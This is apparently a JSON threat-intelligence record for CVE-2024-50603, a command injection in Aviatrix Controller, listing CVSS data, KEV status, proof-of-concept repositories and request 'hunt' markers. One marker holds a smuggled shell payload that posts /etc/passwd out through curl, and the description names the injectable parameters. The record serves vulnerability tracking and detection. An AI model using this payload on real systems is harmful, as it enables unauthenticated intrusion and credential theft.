{
  "id": "CVE-2024-50603",
  "url": "https://poc.griffinguard.io/cve/CVE-2024-50603",
  "published_at": "2025-01-08T00:00:00Z",
  "title": "Aviatrix Controllers OS Command Injection Vulnerability",
  "vendor": "Aviatrix",
  "product": "Controller",
  "cvss": {
    "score": 10,
    "source": "cna",
    "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  },
  "kev": {
    "in_kev": true,
    "added_at": "2025-01-16",
    "known_ransomware_campaign_use": "Unknown",
    "days_after_publication": 8
  },
  "first_poc": {
    "created_at": "2025-01-08T12:00:38Z",
    "first_seen_at": "2026-11-14T11:25:11.578Z",
    "days_after_publication": 0.5,
    "repo": "newlinesec/CVE-2024-50603",
    "source": "github"
  },
  "poc_repo_count": 2,
  "exploit_count": 1,
  "suspicious_repo_count": 0,
  "edge_device": null,
  "description": "An issue was discovered in Aviatrix Controller before 7.1.4191 and 7.2.x before 7.2.4996. Due to the improper neutralization of special elements used in an OS command, an unauthenticated attacker is able to execute arbitrary code. Shell metacharacters can be sent to /v1/api in cloud_type for list_flightpath_destination_instances, or src_cloud_type for flightpath_connection_test.",
  "cwe": "CWE-78",
  "cpes": [
    "cpe:2.3:a:aviatrix:controller:*:*:*:*:*:*:*:*"
  ],
  "cvss_by_source": {
    "cna": 10,
    "nvd": 9.8
  },
  "repos": [
    {
      "repo": "newlinesec/CVE-2024-50603",
      "url": "https://github.com/newlinesec/CVE-2024-50603",
      "created_at": "2025-01-08T12:00:38Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 7,
      "is_poc": "yes",
      "kind": "scanner",
      "suspicion_score": 30,
      "suspicious": false,
      "suspicion_reasons": [
        "owner account created less than 7 days before the repo"
      ],
      "status": "analyzed",
      "owner_created_at": "2025-01-08T11:22:39Z"
    },
    {
      "repo": "th3gokul/CVE-2024-50603",
      "url": "https://github.com/th3gokul/CVE-2024-50603",
      "created_at": "2025-01-12T11:20:21Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 17,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2021-08-23T09:30:54Z"
    }
  ],
  "remediation": null,
  "exploit_refs": [
    {
      "url": "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-50603.yaml",
      "source": "nuclei",
      "title": "nuclei template: Aviatrix Controller - Remote Code Execution",
      "published_at": "2025-01-08T12:09:05Z",
      "first_seen_at": "2026-11-14T10:26:36.149Z"
    }
  ],
  "hunt_profile": [
    {
      "method": "POST",
      "path_template": "/v1/api",
      "body_markers": [
        "action=list_flightpath_destination_instances",
        "CID=anything_goes_here",
        "account_name=1",
        "region=1",
        "vpc_id_name=1",
        "cloud_type=1|$(curl -X POST -d @/etc/passwd"
      ],
      "content_type": "application/x-www-form-urlencoded",
      "protocol": "http",
      "repos": [
        "newlinesec/CVE-2024-50603"
      ],
      "repo_count": 1,
      "confidence": 0.85,
      "evidence": [
        "newlinesec/CVE-2024-50603/CVE-2024-50603.yaml:30"
      ]
    },
    {
      "method": "DELETE",
      "path_template": "/ssrf/api/instance",
      "headers": [
        {
          "name": "Orgin",
          "value": "https://ssrf.cvssadvisor.com"
        },
        {
          "name": "Referer",
          "value": "https://ssrf.cvssadvisor.com/"
        }
      ],
      "content_type": "application/json",
      "protocol": "https",
      "repos": [
        "th3gokul/CVE-2024-50603"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "th3gokul/CVE-2024-50603/cvehunter.py:96",
        "th3gokul/CVE-2024-50603/cvehunter.py:157"
      ]
    },
    {
      "method": "GET",
      "path_template": "/ssrf/api/instance",
      "headers": [
        {
          "name": "Orgin",
          "value": "https://ssrf.cvssadvisor.com"
        },
        {
          "name": "Referer",
          "value": "https://ssrf.cvssadvisor.com/"
        }
      ],
      "content_type": "application/json",
      "protocol": "https",
      "repos": [
        "th3gokul/CVE-2024-50603"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "th3gokul/CVE-2024-50603/cvehunter.py:124"
      ]
    },
    {
      "method": "POST",
      "path_template": "/ssrf/api/instance",
      "headers": [
        {
          "name": "Orgin",
          "value": "https://ssrf.cvssadvisor.com"
        },
        {
          "name": "Referer",
          "value": "https://ssrf.cvssadvisor.com/"
        }
      ],
      "content_type": "application/json",
      "protocol": "https",
      "repos": [
        "th3gokul/CVE-2024-50603"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "th3gokul/CVE-2024-50603/cvehunter.py:68",
        "th3gokul/CVE-2024-50603/cvehunter.py:213"
      ]
    }
  ],
  "rules": []
}
